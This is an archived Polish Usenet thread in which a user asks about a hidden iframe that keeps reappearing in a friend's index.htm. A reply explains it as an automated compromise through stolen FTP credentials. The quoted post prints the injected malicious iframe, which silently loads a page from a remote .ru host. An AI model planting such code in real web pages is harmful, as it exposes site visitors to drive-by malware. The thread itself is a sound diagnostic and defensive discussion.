🚀 go-pugleaf

Marek <marek.grupy@poczta.onet.pl> napisał(a):
> Kolega ma doúc poluparnŕ (widocznŕ w pierwszych 10 wynikach po podaniu w
> google nazwy miejscowoúci) stronć o tematyce lokalnej. Niee stosowaů
> ýadnych technik pozycjonowania, strona po prostu byůa w tych pierwszych
> wynikach. Strona jest w domenie republika.pl

To akurat w przedmiotowej sprawie chyba nie ma znaczenia.

> Moýe 2 tygodnie  temu do pliku index.htm dopisaůo sić coú takiego:
>
><iframe  frameborder=Ą0Ą  onload=Ąif  ( !this.src )
> {his.src=`http://dech-test.ru:8080/index.php` ;his.height=`0`
> ;his.width=`0` ; } Ľ> oshgyabonrgnhabcfwmzyeescghelzi</iframe>
>
> Wymieniů plik index.htmna wůaúciwy a ten kod sie znowu przykleiů.
>
> Jednoczeúńie miaů wirusa PWS, Win 32 / Daurso. A , "coú/ktoú ? " mu ruszalo
> myszkŕ po ekranie.

Taaa, znaczy miał u siebie pewnie niezłą "wylęgarnię".
I pewnie, podobnie jak prawie wszyscy miał w kliencie ftp zaklikane
"zapamiętaj hasło".

> Traktowaă to jako wůamanie + celowe dziaůanie ( ktoú przejŕů hasůa i
> pobawiů sić kontem ?)czy przypadkowy zbieg okolicznoúci ? Jednoczeúńie z
> pojawieniem sić tego kody w index.htm strona wyparowaůa z wyników google.
> Wpisanie do wyszukiwarki site:strona.pl daje jednŕ odpowiedę o kilku
> odwiedzinach.

Włamanie - jak najbardziej, tyle, że nie na serwer a na jego komputer -
połączone z "wyciekiem" hasła. A dalej to "legalna" - bo przy pomocy
oficjalnego loginu i hasła - modyfikacja strony.
Przy czym żadna celowa dziłalność. Ot trafiło na niego, podobnie jak
na parę(dzisięt/set) tysięcy innych. Bo takie "włamy" to robi automat.

To bardzo częsty ostatnio scenariusz. Mam takch u siebie co paranaście dni.
Najpierw wielki lament że "się włamali", w logach ftp-a poprawne logowanie,
tyle, że z egzotycznego adresu i dalej jaaaaazda po wszystkich plikach.
Oczywiście, po przyciśnięciu klienta okazuje się, że oczywiście miał
"jakiegoś wirusa".

Ot, po prostu, od jakiegoś czasu wirusy to nie jest "sztuka dla sztuki"
tylko poważny biznes "e-marketingowy".

A wniosek z tego taki, że jak ktoś jest webmasterem (w sensie, że ma
uprawnienia do modyfikowania strony), to bezpieczeństwo jego komputera
jest równie istotne jak bezpieczeństwo serwera na którym strona stoi.

-- 
WARNING: my e-mail is encrypted by ROT13
Xbaenq Fgrcvra <xbaenq@vagreqngn.arg.cy>